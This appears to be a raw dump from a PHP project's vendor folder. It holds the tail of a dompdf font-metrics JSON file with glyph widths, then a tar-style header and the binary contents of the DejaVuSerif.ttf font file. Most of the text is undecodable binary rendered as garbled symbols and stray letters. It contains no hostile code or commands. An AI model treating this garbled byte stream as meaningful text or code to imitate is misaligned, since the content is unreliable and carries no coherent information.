        "Scommaaccent": 556,
        "Ohungarumlaut": 778,
        "176": 400,
        "242": 500,
        "Ccaron": 722,
        "249": 556,
        "radical": 549,
        "Dcaron": 722,
        "rcommaaccent": 444,
        "209": 722,
        "245": 500,
        "Rcommaaccent": 722,
        "Lcommaaccent": 667,
        "195": 722,
        "Aogonek": 722,
        "197": 722,
        "213": 778,
        "zdotaccent": 444,
        "Ecaron": 667,
        "Iogonek": 389,
        "kcommaaccent": 556,
        "minus": 570,
        "206": 389,
        "ncaron": 556,
        "tcommaaccent": 333,
        "172": 570,
        "246": 500,
        "252": 556,
        "notequal": 549,
        "gcommaaccent": 500,
        "240": 500,
        "158": 444,
        "ncommaaccent": 556,
        "185": 300,
        "imacron": 278,
        "128": 500
    },
    "CIDtoGID_Compressed": true,
    "CIDtoGID": "eJwDAAAAAAE=",
    "_version_": 6
}vendor/dompdf/dompdf/lib/fonts/DejaVuSerif.ttf000066600001346344151150443000015364 0ustar00@FFTMs���LGDEF��|�h�GPOS����BbGSUB;���Dl�MATH9��9K�OS/2m���O�Vcmap�LωPD�cvt �3��a�fpgm���b��gaspc,glyf� �c80headg��<6hhea s�t$hmtxI�0���7 kern�#�ʸ loca�`��7$maxp&3!� name|�"�"!Npostd�(�Ch�prepuy�DŽ^�=����)��)��������������������������������������
z
{
�
�
�
�DFLT cyrl0grekLlatn\math���MKD SRB ����^AZE ^CRT ^GAG ^ISM ^KAZ ^KRK ^KSM ^LSM ^MOL ^NSM ^ROM ^SKS ^SSM ^TAT ^TRK ^����kernmarkmkmk ':Jr!DJPV\bhntz�����������������������d�f����G������f�f�l�l�f���G�S��f�f�f�f�f�f�������������������������
{
{
}
}

�����������
{
�&�����������������$*06<BHNTZ`flrx�������������������������������������D���D�D�������������������������������!@Z!z.4:@FLRX^djpv|���������������������							$	*	0	6	<	B	H	N	T	Z	`	f	l	r	x	~	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�





 
&
,
2
8
>
D
J
P
V
\
b
h
n
t
z
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~���������������������





 
&
,
2
8
>
D
J
P
V
\
b
h
n
t
z
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BH������=�=���������X�X}�}�������RI�I����g�gH�H���H�H���������������������������9D9H�hDh
�9^D^5V\D\�RH�HHHv�RH�HH�D�RD�hDh�DH�R9D�R(DHD9HDRBDBoDoBDB<D<�RD�k�s���=�=�R?k?kH�H�k�D�hDh�R}�}HDHRD����D���95VH�
��=�hD����H�H���X�������g�RDH���D��R�R��<D���D-�-DC�RX�X\D\�RH�I�I55���R^D^HtRD�9eHDv�R���D������������^D^����Rv�R���9D9���(DH���<D<�R�D�9D9D(DhD�9hDhDhDD,D,,D,�D�HDv�RhDh
�D��RHDR�RHVD�D��D�R�D�IDI��R=D��D=D�R{D{�D�D�R(�H�HXDX�h
nD?������9D9����D�����R=���������}�}�I�}�}H�������������p�9DID^D�D�D�DhD�DhDZDD D(DD�DhDJF�	D��D}��D}��D��/���D��H}��DI�I�IH�@�@}�}��}���BDBZD
4D>hDh
0D00D0&D&{D��D�nD?D�D�hDhD
�D��D��D�DDDy�DDDD�9D9lDl�D��D��I���BDBoDoDD9%%�D�IDHBDB�D�DDy�D��D�������������������������������2�2������u�����������$�$�K�K���������������8�8������������I�VDVHDz�DH�RlDl{D{KK�����H5V5V��RR�������y�y����	�
���a��}�}��a�a���������[��D#1�<1�R�2���HH������R}�}H�I�IH����D��R���BDB�oDo}�}���hDhGDG��������V�����D��YD���D���DY�D����D�}�}�RH��R��K�R���Rc�c;�;���D$�R���D$�R<<D����D�����I�����I����I����I���R�IT�R���D
I�IH�����������D�����D�����R]DH�R����R(DH�RX��HDH�R?���RRD�R����R(DH�R=�=hDh
g�gRD�}�}3�3�����D����{����Q���	n�Qr�U���x�Uw�Z�������'�h��R���!�f���������r������l�IO�-6���n�Q���g�G�Z�7�D��F
�D
m��D��(�R�D�R�������R����CDn�D6�DXD��R�DB�R�D�zD��}�D��D��D�D��D��R}D��a�aa�a/�/%����������9�R���%<�<}�}���������������XDXD���D�����D�C�}�D��RD��}1}s1�RD��D�}GDG�D��D��D}�R�D �R�D}BDB|�-�D�^D^��}D}^D^^D^�RFDF�DrDHDHDH�D�RHDHDg�\D\�R������hDh�BDBhDh6D6,D,�D�{9{����9���\D\�R{$=D]��4��8��:��;��<��>��?

@A()CABEHJGLLJPRKUVNYYP_aQijTnnVssWuyX||]��^��`��a��c��e��ijk{!~$%�''�**�,,�12�66�9:�BD�LL�QQ�TT�VV�ZZ�\]�aa�������������oo�qr�{{�~~�����������������������������������������������������������������������������������77�����������'�)-DDGGVVY]ww ||!��"&'$��&��(��)��*�+/2349#,:./D14F79J;=MkvP��\���

o�
�
��
�
��
�
��
�
�	����������"��-��5��;
{
�<G$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz�������������D�D�D�D�D�D�D�D�D�D�D�D�D�D�D�D�D�D�|�r�r�������������������������������D�r�D�r�D�D�D�D�D�DD�D�D�D�D�D�D�D�D�D�D�D>>:)?���k��������������������������������������&&&&����������&����&���������N�u�����u�u�u�����������N�u������&�������a���k�������������������}�������}���Y���
�N�}������}�}����K�������a���a���D��������������������������������K��&��������/��///&������K������������&�a�a�a�a�k����a�a�a���a���a�a�a�k�D��D���������D���2�u���D�D���D�}���D�D�D�D�D�D�D�D�}���DK���k���N���N�Y���u�������N�N�u�Y�Y�u�u�u�����u��&���������������a���a�N���N�N�a�a�<�N�N�N�N�N�N�)�����������&�������
�
������K����������&��������Y��
�N�2�������������&�a�a�a�a�k���a�a�a�a�a�a�a�a�a�a�k����nUaV���}U�}����������/���/9999��������9�����T$$%%&&''(())**--	..
//1122
33445566778899::;;<<==IINNRRUUYZ[[\\��������������
��
������ ����������!����������������������������"#		  ""&&$0077%::??}}&��&��'��(��
�����$$&&**--22	66
778899
::;;<<DDFFGGHHIIJJLLMMOOPQRRSSTTUUVVWWXXYY ZZ![["\\#]]$����%����	��	������&��'��&��(��)��*��+��*��,��-��,��.��/��0��0��1��2��1��2��1��2����)��������)��3��3��3��3��+��������333	455  
!!6""
##6$$7%%8&&''80011/66977:88;999::��2����3����3��7��8����3��;

9<9

<9<|}9��=��>��=����8g$%&'()*-./123456789:;<=INRUYZ[\������������������������������������������������	 "&07:?}������
N�DFLT cyrl6grekhlatn|math8��MKD  SRB  ������pAZE �CAT �CRT �ESP �GAG �GAL �ISM �KAZ �KRK �KSM �LSM �MOL �NSM �ROM �SKS �SSM �TAT �TRK �������������	
aalt>caseDccmpJdligPligaVliga^locldlocljsaltpsstyv"*2:BJRZbjr`�.26Xr��� N6$*0
�
�
�
�
�
�
�
�
�
�
�
���```z�LM��**__����^^���� ��!��'UU(Y$=IIKKLMOO�����������������������������������������������������������		  ""$$&&((**,,..0022446688:;==??AAHHRRTTVV��������������������**__����^^��������UU��
		S��$�IO�O�II�IL�LI
�W�WVA$ 
�
�
�
�
�J����2 &*.
�
�
�
�
�
�
�
�J��y��

~
|

}
�
�
{
�
�
�
������������
�!
�
����
�
�LM�*_^���U
�
�
�c�d
��P<��'�''h'UvZZZZZZZZcZZ8��<(��NRVZ^bfjnz�����������������
".:FR0Pp����K
�
P�K
�
P�K
�
P ��
�
���
�
���
�
� 6Lb�
�
��
�
��
�
�Tj��S�
v
�U�
w
�W
x
�g�
|
�i�
}
���
y
���
z
��
{
�	8(	u	7((	�	6(	�	;(	u	:((	�	9(	�	>(	u	=((	�	<(	q	A(	f	@((	~	?(	q	D(	r	E((	�	C((	�	E((	�	B(	�_(_(	H(	r	E((	�	G((	�	E((	�	F(	��(�(	JX
�,,
��	2(	o	I((	�	1(	l	=(	�	<(	q	@(	~	?(	q	>(	u	=(	�	A(	f	@(	~ ( (B(B(q(Vq(Vq(Vq(V>@^_`��������	)	*	+	, Bq�SUWgi����3�3��f��R��
 PfEd@ ����m�`���,
��,
��hh~��������?COXaw����_emw���������V_��?��kx����EMWY[]}������� & : > B I O S W d q � � � � � � � � �!!	!!!!!"!$!'!+!2!I!K!N!�!�"""	""" "-"="C"H"U"a"e"�"�"�#####!#%#(#}#�#�#�$#&&<&G&g&o'�'�'�'�))�**/*k+,a,d,s,w,-%...%..�G�Q�W�����A�G�K�O�i�|�����������&�(��������� ��������COX`pz�����bjp���������1Ya�?��w{��� HPY[]_�������  * < B D K Q W _ j t � � � � � � � �!!	!
!!!!"!$!&!*!2!<!K!N!P!�!�""""""#"8"B"H"P"`"d"�"�"�##### #%#(#}#�#�#�$#%&8&?&`&i'�'�'�'�'�)�**/*j+,`,c,g,u,y-..."..�D�P�T�����&�F�J�N�h�{������������(����������������������������������������|�{�z�y�k�i�e�c�O�M�K�I�G�C�A�?�=�'�#���
��X��������������������~�}�|�{�z�x�w�v�t�s�q�p�o�l�k�h�g�f�e�b�[�V�T�S�J�E�C�B�@�>�<�����������������������������������������������z�v�b�&�!���������|�)�M���������������������߿߾�>�L�F�D�<f'ffe�eoekeeeae_e]eEe4e1e.e,ed���*��
�� ~��b���������������������?�CC�OO�XX�`a�pw�z����������_[be�jm�pw���������������������
��7=1VAY_ga�n���??�������k�wxW{Y��^��_������� E�HM�PW�YY�[[�]]�_}������-��<��J��P��c��f  &o * :� < >� B B� D I� K O� Q S� W W� _ d� j q� t �� � �� � �� � �� � �� � �� � �� � �� � ��!!�!	!	�!
!�!!!!!!!"!"!$!$!&!'!*!+	!2!2!<!I!K!K!N!N!P!�!�!�R!�"S""�""	�""�""�"" �"#"-�"8"=�"B"C�"H"H�"P"U�"`"a�"d"e�"�"��"�"�	"�"�	&##	(##	)##	-##	/# #!	1#%#%	3#(#(	4#}#}	5#�#�	6#�#�	J#�#�	K$#$#	L%&	M&8&<
N&?&G
S&`&g
\&i&o
d'�'�
k'�'�
l'�'�
n'�'�
o'�)
q)�)�***/*/*j*k++,`,a#,c,d%,g,s',u,w4,y,7--%>..d..e.".%f....j�D�Gk�P�Qo�T�Wq����u��w����&�A��F�G��J�K��N�O��h�i��{�|����������������������������&��(�(��������������������������
	�4�T
�V�g
/�8�9
A�;�>
C�@�D
G�F�F
L�J�P
M�R�k
T֤֥
n����
p
	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a���������������������������������rdei�x�pkvj����s��gw���9�l|"���cn�T��m}�b����������
�:�������y���������������������q���z���
s����Ljq���{�������)j/�s3���f�b������wP�P��;��f�=��f��R��BsJ�����}�s
�jjb����\jjj��j
���jj)R`fX{�Hj�j``'''Djb{sj�\)'�\jj���=�f�H�f���JJ}T{3�`}TjN�N�s�, �%Id�@QX �Y!-,�%Id�@QX �Y!-,  �P�
y ���PXY��%�%#� �P�
y ���PXY��%�-,KPX ��EDY!-,�%E`D-,KSX�%�%EDY!!-,ED-��f��f�@��]/���1����0!%!!f�s����r)��!�m@a	`b
�����1���0@9����������pp``__OO??]@	q%4632#"&!#5L97NN79LD{h8NN87NM��������@b����1�<�20#!#h����+��+��W@6	cc

	

 ���991/<�22�<�22�22�220!!!3!!!!#!#!5!!5!��T<fg�i4��R:��g�i��h�f��\R��ch�����a��a�����b��b��N�����m
1f@9
&!.-,e,! %e/,`2"
 .	
 ),%
2����2�����2�1�2�<��2���2����90%>54&'3.54673#.'#.�qwvrdgrip�bl�����de�Ym�v����d`�D
n_Vx�iXPj!�H���@������1)��t�	�<C������3q��)�#'3b@3&'$'$%&%Mjj.j$j&`($i4%'	!	+14��������991�2�<������0KSX��Y""32654&"32654&'2#"&5463#2#"&546�XceVUcc�WcdVVbcU�������"��Z������������������#��������Zܻ��ۻ����
ۻ��ۼ�������	7�@e
565665)*)	**)M5*6-)1-o/nld#ni`6o
)& *.-02
5- &7
2 -2&2
8����������9999999991/�������299999990KSX�9�9��9Y"%326!'# 5467.54632#.#">7#5!#3R��WW�f���o�i���ҙ�30��C�sq�ng�DlEO
�٬cS���eN�f��G��XV��e=yB��""��kpqZ=yq��P�ikk��`���h��b��1��0#h���+����
@

q
��21��990&7��󚆆���m�cd�mbj������j���}
@q��2�1��99056'5�������bj�\]�jbm�'�����'!L��I@+

	
i
		
�<�2�<�2991��2��290
%#'-73%�y�L��
�
��L��yL\
�
\ն�v��}�v��w�}�����!@r	
�<�<�1/�<�<�0!!#!5!�1�Ϡ��1�Ϣ��1�1J����@		���91��990>=3J^X����E��%��ZZ�Zs���1��0!!Z�s������8�
��K�QX�
<<<<Y1�a	`��K�QX�<<<<Y074632#"&�L97NN79Lh8NN87NM�B��*@Mi/�991��0KSX��Y"3#����m�����#@eei`	����1����0%2#""32���������������FPSTP��������c�no��h�����h���
x@ddMis	����1/�2��990KSX��Y"K�
TX�@��878Y@	  /	/
]K�TX���@878Y!5!5%3!#��l�j��zj�N�M@!
tdei
w


�������9991/����990@F
FFFF]#>32!53!5>54&#"pk�h�����ou�=Ŗ�����q
9<���������m���������*M@+	etee)te&ei`+ 	#)
#
+��������99991��������90>32!"&'332654&+532654&#"#�u�^������u�np
������_2������
p�,.���� ׫��23"������f�����~?���@%d	
	d

	M
ss
i
��<��<�91/�<�<�290KSX��Y"�/	]� 	 
 ]K�TK�T[K�
T[K�T[X���@878Y@8I(
68
GH
]]	!53!53!!3���X�t��������j%m�
k�����y��@%xeteewb` 
	
 �������91��������90K�	TK�T[K�T[X� ��  @878YK�TK�T[X� @  ��878Y@&//]]!>32!"&'332654&#"#�T4�V���g�qq	������Z�5Vդ�T$$����23"������@C������%c@"eely#ei`& 
	&�������1�������90@%		

))
NN N!]%2654&#">32#"!2#.#"���������D�l�����B%O�[q�n¾F����Ƚ���KJ�����y^���ej�����r@Mwb
	���91/��90KSX��Y"K�	TX�	��		@878YK�TX�	@		��878Y�]	#!#!����-�Nu�o��1�\�����/>@"$e	ee*i`0$'-'!0��������991������9904&#"3264&#"326#"$5467.54632���������)�|{��{|�l������������������������v��������͟���ҟ�����ϴ�������%]@$ elyee	i`&
#&�������1�������90@ !"AAA
]#"5432!"&'5332"32654&�C�m�������O�[p
�m¾����������KJ�������x�R�el%"����ɽ�����y@a	a	`�<�21����074632#"&4632#"&�M88ML99LM89LL98Mh8NN88MM�8ML99LMJ���y"@a	���1����990>=34632#"&J^X���?M88MM88M�E��%��Z8MN78MM�^��@��291��90	5����������Ѧ��f��@rr�<�21����0!!!!����������^��@�<�91��9055������/��/�y�����"<@ a	!ei	`#!#��������1���������0%4632#"&>32#>54&#"#hM97NN79M�j�T���{���~r�ah8NN87NMc/.ֶ��3�H+ʜ���{���o�@Mm@;BAKE'N$KE($
Ez	Kzz@|$z+	|z+7N'(HA==1N������22�991�����<����9999990%#"&5463253>54&'&$#"3267#"$'&5476$3254&#"326;�]��گ]�;���DCj�ϳZ�V��d_m+���`5l���}����Y��awLN�����sy��zr��RP���PR���%��o�T��&']������gw}LLF]]�{G��F~���b�|����i}�����������@Qdddd
Moob


	��91/<��2��90KSX�2�����2��Y"�(]@(((
(,+]]!	5333!53!3�$��H�����}��}��jk��jjH��jqd�$E@'o	obo	~
$
!$	!%��2�2����9991/��2��2�90%!2654&#!532654&+53#5!2!�+������������w����埙����j����j~��}��jk����ä��s����8@ndni`&'	%������1������0�o]#"&'&5!2#.#"3267�B���apm�Iz�q%�����0���dap�\�@A��������������q��=@ob
o	
	$!���2��99991/�2��20@	0O��]%3 !#53#5! !��#7��ܺ�w��R���P�jL66H��jk�v�����tq3�R@*��
�	�obo�~$
!��2�2������21/���������0�0O]353#5!#5!!53#5!!53q���{�R�{{��{jk����������q7�F@'��
�	�obo~
$
!��2�2�����21/��2�����0353#5!#5!!53#5!3q���{�>�{{��jk�������~js����G@"	
o	ndni`&%������1�������990�  0 O ].# 3267!5!# !2#�����q�]���ͯ���i�Y������������88�k��MM�_b�;<��q��^@.�	o
bo	~$
$$
$!��2�2��2�2�2�21/<��2�<�2�0@	 p��]353#5!#!#5!#3!53!3q��G��G��������jkk��kk�jj��~jq��7@
obo	$$!��2��21/�2��20@
0
P
`
p
�
�
]%3!53#5!#������G�jjjkk�T�V��m@	dn
	ob�$
�����1���2��990K�
TX�@��878Y�0]K�TK�T[X���@878Y533265#5!##"&�rXXw^�q���G����ca��9kk����"q�(@Dd	
	
dM	
obo

$$!��2�<�2�991/<�22�<�290KSX���2�Y"�p]@�		$	'6	F	HW	YYhzz






*
%%&
&'(:
6
6F
F@F@F
@
F@B@@@@@S
XXU
UPXXiie
efb```yyv
vvyyC]]353#5!##5!#	3!3q��G����ͪ���<�jkk��5kk��3j��jq�
0@	ob	�o$
$!���2���1/���2�0353#5!#!53q��G��{jkk����f��@GddM
obo$$
$	$$$!����������9991/<�2�<�290KSX����Y"�]@�	(/))8?99IHOJJXX_ZZihoiiw&$&&6355FEDFUTUTdddctuts����$]]353#5!	!#3!53#3q����ǿ�������jk��'k�jj����~jd����p@-Mo
bo	$$$
$!���2�����1/��2�<�22990KSX��Y"� ]@0Op��]]353#5!#5!##3d����y�D�jk�f/kk�y�js��� ,@nni`!	%!����1����0�_"o"�"]%2#""&'&547>3 H����������apmmpb��E�npb�NQJKQ��������kdap��pbc�V�����obcq�C@!o�ob
o	#
	$!��2�2���99991/�2��2��0�_]!2654&#!53#5!2#!3��������w����������������jk���js���"@@nn	i`#  %#����999991������90�_$o$�$] 47>3 ;.'2#"`���jmpb��E����6�m��d��������a�pbc�V����m:C@���QJKQ��������q7�$�@H
	Mo�#ob
o#  $ $!%��2�2�����9999991/<�22��2��9990KSX��9Y"3!.+3!53#5!2%!2654&#!�Fe(ٶ���Cpb��������z'�������[R�EjۊQ��jjkп��&���������)'@B#"$! M !dn'dni'`* !)$)*��������99991������90KSX�9�9Y"�+]@ +0+P+p+�+]K�TK�T[K�T[X�*@**��878Y@t(
)))
)) )!)"8	9
:::
99:: :!9"8#I
IJI
HI I!I"Y
YYY
Y Y!Y"j	l
llk
kl l!l"i#{
{{{
y{{ {!{"y#7�+�+]]732654&/.54$32#.#"!"&�s����q��֯�h��q����|ɹ˭���{�HT����lt7;A©��-+�ž��{kz<7=����2B�{@	ob
o
$$�������1/�2�<�20K�	TX�@��878Y�]K�TK�T[X���@878Y@/`���]!53!#!#5!3���I{.{�I�j��`���j`��b�n@%	�
ob`$$$$!�������1��<�2�99990�`]K�TK�T[X�@��878Y���]#5!#326#5!#! �H���廿��������jkk������kk����S�����@9dd	
	


	M
ob
		��91/�<�290KSX�2���2Y"�]@"		
(*
*
']]	#5!###5!f�������� j��zkk��jkk
3��@[dd


dd
	
M	ob

��91/<�<<�290KSX�2���2����Y"�]K�TX���@878Y@�

%)$?<5LFX\Tmd~t			
	
&&&&)$
&54647
IIEBFEGD
H[[XW[XY[_______feeehgff	g
gfd
ehjjhusvuu	v
uwt
y||yV]]!#	##5!#	3	#5!#�������y�!�7T�Z9�����Bjkk����9\kk���@gdddd

Mo
bo
	
���91/<�2�<�290KSX�2���2�2���2Y"�]�]K�TK�T[K�T[X���@878Y@�	)(%&65EFVUjicdyz		

&&'&
()%%$$/6777
8997FCGGEE
KIFIIUSSSSWSVVS
[[WYYedeededeed
kllke``eee`xzzzz{yxxy
{~||@{{}yuxxur]]	3!53	#5!#	#5!#	3!53��������L�P�@I��uנ�����jjs�kk��kk���?jj��Z�/@E
d
d	


	M
o
bo
	$$�����999991/�2�<�290KSX�2���2Y"�]�]K�	TX�@��878YK�TK�T[K�T[X���@878Y@d
6
E
[Zf
xw
	

**/::7	8
?9?9
?
???F	IV	Y[[
ihoh
o
`vvxxx
�)]]!53#5!#	#5!#3���3�+�uu����?�j�kk��\kk�,��j\?�
m@#		M	�b	�	

������991/���0KSX��Y"�]@	

O
]]35!#!!53\���{��^LzH�ZH��������$@ssq������1����0!!!!����/j��j�B��*@Mb/�991��0KSX��Y"#�����m����o@ssq��991����0!5!!5o�/����jNj����@
b��91��290	#	#�������}��-��m��/�1��0!5��mPP��sdv���1��0K�	TK�T[X���@878YK�TK�
T[K�T[K�T[K�T[K�T[X���@878YK�TX�@��878Y	#ou��d��xf���D
(~@/!z��!�#��&�`z!-"
,'"*)�����22��991/������99990@$*o*x(�*z(������������
]]5#"3263!5#"&5463!54&#"#5>32/퉆�ts�����=�k������n�_`�V��N�vzo�����jsJF����Iy�db�))�;���!G@%!��zqz`�5,'0"��22�2��1/������990�#]7#5!>32#"&'!532654&#"�i6�{���{�6��i��������j@j�md_�����_d�ju������ʿf��D5@��
���	�`-*������1�����0�o]#"532#.#"3267'ް���e�ek������w�?��3��1/0������|}f���!O@&�
�zqz`
�,',5
*"����<<�1/������990@	###�#]%3!5#"5432#5!54&#"3263���6�{���{�6�f���������jj�d_7��6_d)j��i�������f��VDN@z�����`	*��2����1������90@ @�����]]!32673#"5432.#"V�碞y��,�����������}��3��4�ױ����Jqq@&
z�qz�	
-
'6,0�<�2�<��91/�2�2�����2990��]K�TX���@878Y�``?]]#.#"!!3!53#5354632qaSOgT)��������C�BKNq��k��jjRk���f�9�D,f@3, )z)���#��`��-	-, '5&7*-�����22��1���������99990@	...�.]#"&'53326=#"54325!4&#"32653��i�X`�}��6�{���{�6h������������[�&&�h`�ďd_7��6_d�k���������J�o@,
�
zqz
�=,,'
:,',0���2������1/<��2���99990�/�]K�TX���@878Y353#5!>323!534&#"3T��h3�l�����_z���j@j�Vln���jj���jJ`�I@	z�z
,',0��2����1/�2����0��]K�TX���@878Y4632#"&3!53#5!�C/.CB//C�갰hq.DD./BB�(jjRk�;�9��i@"	�	z��-6'
,0������1�������990�/ ` p ]K�TX���@878Y�ss]4632#"&#5!#"&'533265�C/.CA0/C-�fëH�>_UR[Wq.DD./BB�zk�q��!!�`Z{�;�@X�	�	�	�		>>M
	zzqz�	
,',0��<���9991/<��2���290KSX��9����Y"�]@�		&))899HVWggghw���	

	

(	(
(&)-**+,)/66
6959?F	DD
DEY	X
XWVVVh	ff
gegaabef`x	x
xzxxvz��������	�
��T]])53#5!#5!#	3!533J����i��������‘�j@j��kk���jj����;R	@@zqz,',0
��2��1/�2��0��]K�TX�
��

@878Y%3!53#5!���鱱ijjj@jJ^D0�@A 
+�'z)�%!z.�#	
=", ,'?=',?(,* '$,&01���2���������91/<<�2�2���2990@?2_2o2�2�2]K�TX�1��11@878Y@/
///�
����2	]>323!534&#"3!534&#"3!53#5!>32%5�n�����`o{����`o{�����h3�d|�Xuw���jj%�����jj,�����jjTi�jp{J�Dp@.
�
z�z
�=,,'
:,',0���2������1/<��2���90�/�]K�TX���@878Y353#5!>323!534&#"3T��h3�l�����`y���jRk�ln���jj���jf��jD+@���`D	*����1���0� o]%2654&#""5432h��������������F��������c3��2�����;�V�D#U@,
�
z"z 
��` ��$,5!,'
0$��22�2���1�����2��990�%�%]32654&#"'#5!>32#"&'3!53�����������i6�{���{�6���Hi������ʵk�d_�����_d�kkf�V�D#S@+# �
zz��
`��$,',5
*$����2�<<�1�����2��990�%�%]3!53#"54325!4&#"32653���6�{���{�6h������������kk�d_7��6_d�k���������J�D�@"	z�
	z�
-,',0���2����1/��2�����990@8/@@@@@@D@@@  ]]K�TX���@878Y#.#"3!53#5!>32�jNK���ͦ�h6�z-c)��ON���jjTi�oks���D)�@A#"$!> >M !���'����'`* !->'F$-E*��������99991������90KSX�9�9Y"� +]@X'' '!'"'#Z
ZZZ
ZZ Z!Z"X#�� �!�"�#�� �!�"�#�� �!�"�#@++������������]]75332654&/.54632#.#"#"&sj��|�_���{ֽT�cj�utwZ������g�;�wv]YFV1-,�f��,*�gtRRCQ*-/�o��,;��'qh@

�z�`,	'/�<�2���91�<�2���990K�
TX�@��878Y@&&/��
]#533!!32673#"&5ݢ��Z��4FHB������kJ��k�]�LU_����7���'u@"
�	
z�	`,',:,'/�����<�1/�<�2�299990K�TX�@��878Y��]K�TX���@878Y!3!5#"&5#5!3265#�X���3�k���__z���'�Cj�jo��9k�������'�@9
	�

�
>>Mz
�
		��91/�<�290KSX�2���2Y"�
]@H' Scv		
%***	*
*80HG
GWXghvvwxx	x
x
]]!#5!#	#5!#��yy�++��w�y�kk�%�kk�D!�'�@[�
�	

>
	>��>
>

M

z�

	��91/<�<<�290KSX�2���2����Y"�`]@�
$,
(3=
9DJ
IW
^di
itz
z�


	

	
&()	&
#**%&:;??????:;	9
;8
8:9FEEE	F
FIH
HHHHFQPPPPPPPPP	R
TXVSPb``dd`````	b
dfb`uxy}}yyyz@y	v
quv
vvwwwtw�	�
�x]]	#5!##	##5!#���v�������w��'���kk�D���kk�->j'�@g��
>
>��>>Mz�z

	����91/<�2�<�290KSX�2���2�2���2Y"K�TK�T[X���@878Y@�
%*GIWWYXffhhyy��
			

(),,%%(
'&&&))'9?9?HIGFGZYYYWY
WUVVVVjjjghhh
gefx||||y
wttttxvuuu�����
�������[]]#5!#	3!533!53	#5!#Tߏ����L�����l�%�����3kk�w�7jj>��jj��kk���9'@Y��
	��>	>M�
	z��
	-����9991�<�2���9990KSX�2���2�9�Y"�]@ZYix))*
*''&XSUPUPSV
Vhd``dvwx~~tty	xx
yuuvvvv(]]7#5!#	#5!##"&'53326�F�sy�++��w�2zo/c2^9<7Cñ�kk�%�kk�T|[�D;=R�'
j@"	>>	M	z�	z	
-
-������991/���0KSX��Y"K�TK�T[X���@878Y�if	]35!#!!53R���jf�fBkVf�#V�������$^@0!	 !	sssq!
	%$ '%�<�2������9991/������999999990#"&54&+5326546;#"3>��l�==�l��>D�Vd��bV��i���tit�ݓhX��ឈ"����X���G��1��0#�����$[@/ ss#sq%'%�<�2���9991/������9999999903265467.54&+532;#"+F�Ub��cU�F?��l�>>�l��?�W���"���Wh����tit���ݔ���'>@ ����91�����9999990#"/&'&#"5>32326�d�]`�
�_\�Yd�^`�
�a\�'�XTB	9IM�WQB:J��!}$@	ab�

�����1���04632#"&53L97NN79LC{D�8MN78NN��5�������PL"I@'��
����
`#	
-"
#���22�����221�2�<��2���<�0%#&5473#.'>7u�����#��d���d\�PjsdZt����������,��+
��.'��{��il�d�L@(
seis�	

I�<�2�2����91/�2�������2�990#.#"!!!53!53#534632Ni
q`y��d�t�%�����U�K�_e����k���jRk'��h\��#/o@=	-'!
0-!-'!0*$0*	$
$*0����99999991�����999999907'#"&''7.5467'7>324&#"326��^�+))-�`�8wE@}=�_�))*,�_�8xEBzQ�rp��qq���^�<zBEv9�^�,*))�^�>z@Fw9�^�,*(��p��pr�����$K@]ddM
s ssb"s#	%#I!
I%�<��<��9999991/�2�2�<�2�2�<�290KSX�2���2Y"�]@�6iih

89969::9FKM
MKKJ@@BBFIXVYYYYgegg
gffgjhohojjhuy||yz������F]]!53!5!5'!5!#5!#	#5!#!!!!3h��l�R����)�WS�������G��m�joiA�i�kk��\kk�izTi��j����@G�<�21����0##������
��
�\�=��Ak@;39
(',o$
o?i$B3/9)'J</J!	J!'J<6B������������99991��������990>54&#.#"#"&'532654'&'.5467.54632{D7k :;��\hXds��}irNI̭Z�M\lkhy��~vmROȦN��.S5��&`9K���HSaSa�m�c_~,/~[���PQbTqz�c^�1~O���77!z@
	����1�<�20K�
TK�
T[K�T[K�T[X�@��878YK�TK�T[K�T[X���@878YK�
TX����878Y2#"&546!2#"&546=0EB32BE�/EB23BE!E03BB30EE03BB30E��2JM@+	��
��	�?	�3��?�'REK!Q9K!M-K���������1/�������90#"&54632#.#"32672#"$'&5476$"3267>54&'.`�����P�WTriwyxvaq�mmllmm������mmllmm���^]__]^⃄�^]]^\^�=������%'�mf����_c�nmm������mmnnmm��mmng^^]僂�^^__^]⃅�]^^}��(,q@<&�+)��)&�����i-) #*#Y#Y-�����22��99991����������999903#5#"&546;54&#"#5>325#"326!!FP�0}W�����tiWfLM�B����ilea\o����F��TP30�pr�-T^FE�����PNQUa��h��%#
:@

	Z
Z	��<���21�<�2�2�2�<�2�20	5	5%��)�+#��)�+#s����s�R�s����s�R��^@r���1��0!#!����^���Z�Zs���1��0!!Z�s���$<T�@TN
N

M
	�
��1��%�=�1�I
7""	PNPN"L7KCL+KCMOU�������2�<�99999991/����2�<�22�9990KSX��9Y"32654&+3#'.+3!53#5!2"3267>54&'.'2#"$'&5476$}SSTR}�*;tL��#>1\T��SS���`׃�^]__]^⃄�^]]^\^ㄘmmllmm������mmllmmLKJL��3(�D�F/��DD�CpmS[j^^]僂�^^__^]⃅�]^^gnmm������mmnnmm��mmn�b+�(���1��0K�
TX���@878Y!!�V�����u=�@i	����1����0"32654&'2#"&546LhgMLhjJ@v+..�����fiMLfgKKk�1.-rB��������*@r	r

�<�2�<�21/��<�<�0!!#!5!!!�1�Ϡ��1�����y��y������Z���k@6�
	�M
�����h
\
�������99991������99990KSX�9�Y"#5>32!53!5%>54&#"�FB�E�����J��VJaTN^� "�hz��l�K�MzBUcLd���*R@,&	���)�&���h+ 	#)#\\+��������99991�������9990>32#"&'532654&+532654&#"#}I�;��j_wy��H�DFb\^ffe5acQLRWF�lcHdwdrz�JMXR]_JJJCH@A��RfO���1��0K�	TK�T[X���@878YK�TK�T[K�T[X���@878Y3#���uf��;�V�'@3�	
